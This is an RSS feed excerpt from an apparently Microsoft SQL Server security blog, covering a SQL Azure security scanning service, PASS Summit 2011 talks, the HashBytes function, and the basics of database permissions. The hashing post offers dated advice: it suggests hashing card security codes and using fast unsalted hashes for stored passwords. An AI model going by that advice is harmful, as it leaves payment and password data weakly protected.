&lt;p&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10269123" width="1" height="1"&gt;</description></item><item><title>SQL Azure Security Services</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2012/02/02/sql-azure-security-services.aspx</link><pubDate>Thu, 02 Feb 2012 02:00:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10263050</guid><dc:creator>Bala Neerumalla</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10263050</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2012/02/02/sql-azure-security-services.aspx#comments</comments><description>&lt;p&gt;&lt;span style="color: #000000; font-family: 'Garamond','serif'; font-size: medium;"&gt;Last week, we released SQL Azure Security Services through SQL Azure Labs. In this initial version of our labs, you can&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style="color: #000000; font-family: 'Garamond','serif'; font-size: medium;"&gt;Scan your SQL Azure server or individual databases for security issues - We look for design issues, elevation issues and etc.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="color: #000000; font-family: 'Garamond','serif'; font-size: medium;"&gt;Get a report of your database security model - You can quickly know which users exist in a database, role memberships, permissions on various objects and etc, to reason over presence of user accounts or permissions on various objects.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="color: #000000; font-family: 'Garamond','serif'; font-size: medium;"&gt;Scan your data for malware presence (Currently we only check for Mass SQL Injection Attacks) - We have been observing Automated Mass SQL Injection attacks for over 4 years now, we scan for presence of malicious javascript in your data.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="color: #000000; font-family: 'Garamond','serif'; font-size: medium;"&gt;Please try the service &lt;span style="color: #003366;"&gt;&lt;a href="http://www.microsoft.com/en-us/sqlazurelabs/labs/sqlazuresecurityservices.aspx"&gt;&lt;span style="color: #003366;"&gt;here&lt;/span&gt;&lt;/a&gt;&lt;/span&gt; and let us know your feedback. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #0000d4; font-family: 'Garamond','serif';"&gt;&lt;span style="color: #000000; font-size: medium;"&gt;- Bala Neerumalla.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: arial,helvetica,sans-serif;"&gt;&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10263050" width="1" height="1"&gt;</description></item><item><title>Meet the team at SQL PASS Summit 2011</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2011/10/11/meet-the-team-at-sql-pass-summit-2011.aspx</link><pubDate>Tue, 11 Oct 2011 22:46:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10223488</guid><dc:creator>Don Pinto</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10223488</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2011/10/11/meet-the-team-at-sql-pass-summit-2011.aspx#comments</comments><description>&lt;p&gt;&lt;a href="http://www.sqlpass.org/summit/2011/"&gt;PASS Summit 2011&lt;/a&gt; is coming to Seattle &lt;b&gt;&lt;i&gt;&lt;/i&gt;&lt;/b&gt;this week starting October 11&lt;sup&gt;th&lt;/sup&gt; 2011. You'll have the opportunity to meet a lot of folks from the SQL Server team during the event, and a variety of speakers that will share their experiences and delight you with awesome SQL Server sessions. &lt;br /&gt; &lt;br /&gt; Lastly, the SQL Server Engine Security &amp;nbsp;Team will be present at the conference and this is your opportunity to meet with us so that we can answer your questions. For those interested in SQL Server Security, we recommend that you attend the following talks &amp;ndash;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;(1)&amp;nbsp;&amp;nbsp; SQL PASS Session - [DBA-412-M] What&amp;rsquo;s New in Security for SQL Server Code Name "Denali"&lt;/p&gt;
&lt;p&gt;Friday, October 14, 2011 2:00 PM-3:15 PM, Room 608&lt;/p&gt;
&lt;p&gt;Presented by Il-Sung Lee&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;(2) SQL PASS Theater Session - SQL Server 2011 Audit Enhancements&lt;/p&gt;
&lt;p&gt;Wednesday, October 12, 2011, 10:30am - 11:00am, Microsoft Booth # 208&lt;/p&gt;
&lt;p&gt;Presented by Jack Richins&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;(3) SQL PASS Theater Session &amp;ndash; A quick lap around SQL Server Encryption&lt;/p&gt;
&lt;p&gt;Wednesday, October 12, 2011, 1:45pm &amp;ndash; 2:15pm, Microsoft Booth # 208&lt;/p&gt;
&lt;p&gt;Presented by Don Pinto&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Also, don&amp;rsquo;t forget to stop by the Security and Compliance Booth and the Performance/Security Expert POD to meet with our team members, and ask questions or share your product feedback and suggestions.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt; &lt;br /&gt; We look forward to seeing you at SQL PASS!&lt;/p&gt;
&lt;p&gt;- SQL Engine Security Team-&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10223488" width="1" height="1"&gt;</description></item><item><title>Data Hashing in SQL Server</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2011/08/26/data-hashing.aspx</link><pubDate>Fri, 26 Aug 2011 17:25:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10200884</guid><dc:creator>Don Pinto</dc:creator><slash:comments>3</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10200884</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2011/08/26/data-hashing.aspx#comments</comments><description>&lt;p&gt;A common scenario in data warehousing applications is knowing what source system records to update, what data needs to be loaded and which data rows can be skipped as nothing has changed since they were last loaded. Another possible scenario is the need to facilitate searching data that is encrypted using cell level encryption or storing application passwords inside the database.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;i&gt;Data Hashing&lt;/i&gt; can be used to solve this problem in SQL Server.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;A hash is a number that is generated by reading the contents of a document or message. Different messages should generate different hash values, but the same message causes the algorithm to generate the same hash value.&lt;/p&gt;
&lt;table border="0" cellspacing="0" cellpadding="0"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td valign="top" width="504"&gt;
&lt;p&gt;&lt;b&gt;The HashBytes function in SQL Server&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="504"&gt;
&lt;p&gt;SQL Server has a built-in function called HashBytes to support data hashing.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;HashBytes ( '&amp;lt;algorithm&amp;gt;', { @input | 'input' } ) &lt;br /&gt;&amp;lt;algorithm&amp;gt;::= MD2 | MD4 | MD5 | SHA | SHA1 | SHA2_256 | SHA2_512&lt;/p&gt;
&lt;p&gt;&amp;nbsp;Here is a sample along with the return values commented in the next line :&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;a href="http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-92-93/4670.SQLScriptHash.JPG"&gt;&lt;img border="0" alt="" src="http://blogs.msdn.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-92-93/4670.SQLScriptHash.JPG" width="441" height="292" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;table border="0" cellspacing="0" cellpadding="0" sizcache="17" sizset="0"&gt;
&lt;tbody sizcache="17" sizset="0"&gt;
&lt;tr&gt;
&lt;td valign="top" width="504"&gt;
&lt;p&gt;&lt;b&gt;Properties of good hash functions&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="504"&gt;
&lt;p&gt;A good hashing algorithm has these properties:&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is especially sensitive to small changes in the input. Minor changes to the document will generate a very different hash result.&lt;/li&gt;
&lt;li&gt;It is computationally unfeasible to reverse. There will be absolutely no way to determine what changed in the input or to learn anything about the content of an input by examining hash values. For this reason, hashing is often called one-way hashing.&lt;/li&gt;
&lt;li&gt;It is very efficient.&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;table border="0" cellspacing="0" cellpadding="0"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td valign="top" width="504"&gt;
&lt;p&gt;&lt;b&gt;Should you encrypt or hash?&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="504"&gt;
&lt;p&gt;During application development, it might be useful to understand when to encrypt your data vs. when to hash it.&lt;/p&gt;
&lt;p&gt;The difference is that encrypted data can be decrypted, while hashed data cannot be decrypted. Another key difference is that encryption normally results in different results for the same text but hashing always produces the same result for the same text. The deciding factor when choosing to encrypt or hash your data comes after you determine if you'll need to decrypt the data for offline processing.&lt;/p&gt;
&lt;p&gt;A typical example of data that needs to be decrypted would be within a payment processing system is a credit card number. Thus the credit card number should be encrypted in the payment processing system. However, in the case of security code for the credit card, hashing it is sufficient if only equality checks are done and the system does not need to know it&amp;rsquo;s real value.&lt;/p&gt;
&lt;p align="center"&gt;&lt;a href="http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-92-93/8233.HashEncryptionHash.JPG"&gt;&lt;img border="0" alt="" src="http://blogs.msdn.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-92-93/8233.HashEncryptionHash.JPG" width="115" height="119" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p align="center"&gt;&lt;b&gt;Encryption is a two way process but hashing is unidirectional&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;table border="0" cellspacing="0" cellpadding="0" sizcache="23" sizset="0"&gt;
&lt;tbody sizcache="23" sizset="0"&gt;
&lt;tr&gt;
&lt;td valign="top" width="504"&gt;
&lt;p&gt;&lt;b&gt;How to use hashbytes for indexing encrypted data.&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="504"&gt;
&lt;p&gt;Encryption introduces randomization and in there is no way to predict the outcome of an encryption built-in. Does that mean creating an index on top of encrypted data is not possible?&lt;/p&gt;
&lt;p&gt;&amp;nbsp;However, data hashing can come to your rescue. Refer to &lt;a href="http://blogs.msdn.com/b/raulga/archive/2006/03/11/549754.aspx"&gt;this&lt;/a&gt; blog post to learn how.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;table border="0" cellspacing="0" cellpadding="0"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td valign="top" width="504"&gt;
&lt;p&gt;&lt;b&gt;Which hash function should I choose?&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="504"&gt;
&lt;p&gt;Although, most hashing functions are fast, the performance of a hashing function depends on the data to be hashed and the algorithm used.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;There is no magic bullet. For security purposes, it is advised to use the strongest hash function (SHA2_512). However, you can choose other hashing algorithms depending on your workload and data to hash.&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;table border="0" cellspacing="0" cellpadding="0"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td valign="top" width="504"&gt;
&lt;p&gt;&lt;b&gt;Hash functions or CHECK_SUM()?&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="504"&gt;
&lt;p&gt;SQL Server has the CHECK_SUM () (or BINARY_CHECKSUM ()) functions for generating the checksum value computed over a row of a table, or over a list of expressions.&lt;/p&gt;
&lt;p&gt;One problem with the CHECK_SUM() (or BINARY_CHECKSUM()) functions is that the probability of a collision may not be sufficiently low for all applications (i.e. it is possible to come across examples of two different inputs hashing to the same output value). Of course, collisions are possible with any functions that have a larger domain than its range but because the CHECK_SUM function implements a simple XOR, the probability of this collision is high.&lt;/p&gt;
&lt;p&gt;Try it out using the following example -&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;a href="http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-92-93/1524.GuidHash.JPG"&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" border="0" alt="" src="http://blogs.msdn.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-92-93/1524.GuidHash.JPG" width="428" height="123" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;---&lt;/p&gt;
&lt;p&gt;Don Pinto, PM, SQL Server Engine&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10200884" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/HashBytes/">HashBytes</category><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/Hashing/">Hashing</category><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/Checksum/">Checksum</category></item><item><title>Database Engine Permission Basics</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2011/08/25/database-engine-permission-basics.aspx</link><pubDate>Fri, 26 Aug 2011 00:05:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10200604</guid><dc:creator>Don Pinto</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10200604</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2011/08/25/database-engine-permission-basics.aspx#comments</comments><description>&lt;p&gt;&lt;span style="text-align: left; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; letter-spacing: normal; font: 13px/22px Georgia, 'Times New Roman', Times, serif; white-space: normal; orphans: 2; color: #333333; word-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;" class="Apple-style-span"&gt;I am posting this on behalf of my colleague Rick Byham, a technical writer on the SQL Server Team.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Database Engine permissions are managed at the server level through logins and fixed server roles, and at the database level through database users and user-defined database roles.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Logins&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p sizcache="0" sizset="43"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;" sizcache="0" sizset="43"&gt;Logins are individual user accounts for logging on to the SQL Server Database Engine. SQL Server supports logins based on Windows authentication and logins based on SQL Server authentication. For information about the two types of logins, see &lt;a href="http://msdn.microsoft.com/en-us/library/ms144284.aspx" target="_blank"&gt;&lt;span style="color: #0000ff;"&gt;Choosing an Authentication Mode&lt;/span&gt; &lt;img border="0" src="http://social.technet.microsoft.com/wiki/cfs-file.ashx/__key/communityserver-components-sitefiles/10_5F00_external.png" /&gt; &lt;/a&gt;. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Fixed Server Roles&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Fixed server roles are a set of preconfigured roles that provide convenient group of server-level permissions. Logins can be added to the roles using the &lt;b&gt;sp_addsrvrolemember&lt;/b&gt; procedure. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Database Users&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Logins are granted access to a database by creating a database user in a database and mapping that database user to login. Typically the database user name is the same as the login name, though it does not have to be the same. Each database user maps to a single login. A login can be mapped to only one user in a database, but can be mapped as a database user in several different databases. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Fixed Database Roles&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Fixed database roles are a set of preconfigured roles that provide convenient group of database-level permissions. Database users and user-defined database roles can be added to the fixed database roles using the &lt;b&gt;sp_addrolemember&lt;/b&gt; procedure. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;User-defined Database Roles&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Users with the &lt;b&gt;CREATE ROLE&lt;/b&gt; permission can create new user-defined database roles to represent groups of users with common permissions. Typically permissions are granted or denied to the entire role, simplifying permissions management and monitoring.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 13.5pt 0in 6pt;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: #003399; font-size: 10.5pt;"&gt;Typical Scenario&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;The following example represents a common and recommended method of configuring permissions.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 2.25pt 3.75pt;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;In Active Directory:&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Create a Windows user for each person.&lt;/span&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Create Windows groups that represent the work units and the work functions.&lt;/span&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Add the Windows users to the Windows groups.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 2.25pt;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;In SQL Server:&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Create a login for the Windows groups. (If using SQL Server authentication, skip the Active Directory steps, and create SQL Server authentication logins here.)&lt;/span&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Create a database user for the login representing the Windows groups.&lt;/span&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Create one or more user-defined database roles, each representing a similar function. For example financial analyst, and sales analyst.&lt;/span&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Add database users to one or more user-defined database roles.&lt;/span&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Grant permissions to the user-defined database roles.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 13.5pt 0in 6pt;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: #003399; font-size: 10.5pt;"&gt;Assigning Permissions&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Most permission statements have the format :&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt; text-decoration: underline;"&gt;AUTHORIZATION&lt;/span&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt; &lt;span style="text-decoration: underline;"&gt;PERMISSION&lt;/span&gt; &lt;span style="text-decoration: underline;"&gt;ON SECURABLE::NAME&lt;/span&gt; &lt;span style="text-decoration: underline;"&gt;TO&lt;/span&gt; &lt;span style="text-decoration: underline;"&gt;PRINCIPAL&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;AUTHORIZATION must be GRANT, REVOKE or DENY.&lt;/span&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;PERMISSION is listed in the chart referenced below.&lt;/span&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;ON SECURABLE::NAME is the server, server object, database, or database object and its name. Some permissions do not require ON SECURABLE::NAME because it is unambiguous or inappropriate in the context. For example the CREATE TABLE permission doesn&amp;rsquo;t require the ON SECURABLE::NAME clause.&lt;/span&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;PRINCIPAL is the login, user, or role which receives or loses the permission. Grant permissions to roles whenever possible.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Sample grant statement: GRANT UPDATE ON OBJECT::Production.Parts TO PartsTeam&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Permissions are granted to security principals (logins, users, and roles) by using the &lt;b&gt;GRANT&lt;/b&gt; statement. Permissions are explicitly denied by using the &lt;b&gt;DENY&lt;/b&gt; command. A previously granted or denied permission is removed by using the &lt;b&gt;REVOKE&lt;/b&gt; statement. Permissions are cumulative, with the user receiving all the permissions granted to the user, login, and any group memberships; however any permission denial overrides all grants.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt 0.5in;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Tip:&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt; A common mistake is to attempt to remove a &lt;b&gt;GRANT&lt;/b&gt; by using &lt;b&gt;DENY&lt;/b&gt; instead of &lt;b&gt;REVOKE&lt;/b&gt;. This can cause problems when a user receives permissions from multiple sources; which is quite common. The following example demonstrates the principal.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt 0.5in;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;The &lt;b&gt;Sales&lt;/b&gt; group receives &lt;b&gt;SELECT&lt;/b&gt; permissions on the &lt;b&gt;OrderStatus&lt;/b&gt; table through the statement &lt;b&gt;GRANT SELECT ON OBJECT::OrderStatus TO Sales.&lt;/b&gt; User &lt;b&gt;Ted&lt;/b&gt; is a member of the &lt;b&gt;Sales&lt;/b&gt; role. Ted has also been granted &lt;b&gt;SELECT&lt;/b&gt; permission to the &lt;b&gt;OrderStatus&lt;/b&gt; table under his own user name through the statement &lt;b&gt;GRANT SELECT ON OBJECT::OrderStatus TO Ted&lt;/b&gt;. Presume the administer wishes to remove the &lt;b&gt;GRANT&lt;/b&gt; to the &lt;b&gt;Sales&lt;/b&gt; role.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;If the administrator correctly executes &lt;b&gt;REVOKE SELECT ON OBJECT::OrderStatus TO Sales&lt;/b&gt;, then Ted will retain &lt;b&gt;SELECT&lt;/b&gt; access to the &lt;b&gt;OrderStatus&lt;/b&gt; table through his individual &lt;b&gt;GRANT&lt;/b&gt; statement.&lt;/span&gt;&lt;/li&gt;
&lt;li style="color: black;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;If the administrator incorrectly executes &lt;b&gt;DENY SELECT ON OBJECT::OrderStatus TO Sales&lt;/b&gt; then &lt;b&gt;Ted&lt;/b&gt;, as a member of the &lt;b&gt;Sales&lt;/b&gt; role, will be denied the &lt;b&gt;SELECT&lt;/b&gt; permission because the &lt;b&gt;DENY&lt;/b&gt; to &lt;b&gt;Sales&lt;/b&gt; overrides his individual &lt;b&gt;GRANT&lt;/b&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 13.5pt 0in 6pt;"&gt;&lt;b&gt;&lt;span style="font-family: verdana,sans-serif; color: #003399; font-size: 10.5pt;"&gt;Permission Hierarchy&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Permissions have a parent/child hierarchy. That is, if you grant &lt;b&gt;SELECT&lt;/b&gt; permission on a database, if includes &lt;b&gt;SELECT&lt;/b&gt; permission on all (child) schemas in the database. If you grant &lt;b&gt;SELECT&lt;/b&gt; permission on a schema, it includes &lt;b&gt;SELECT&lt;/b&gt; permission on all the (child) tables and views in the schema. The permissions are transitive; that is, if you grant &lt;b&gt;SELECT&lt;/b&gt; permission on a database, it includes &lt;b&gt;SELECT&lt;/b&gt; permission on all (child) schemas, and all (grandchild) tables, and all views.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p style="margin: 0in 0in 11.25pt;"&gt;&lt;span style="font-family: verdana,sans-serif; color: black; font-size: 10pt;"&gt;Permissions also have covering permissions. The &lt;b&gt;CONTROL&lt;/b&gt; permission on an object, normally gives you all other permissions on the object.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
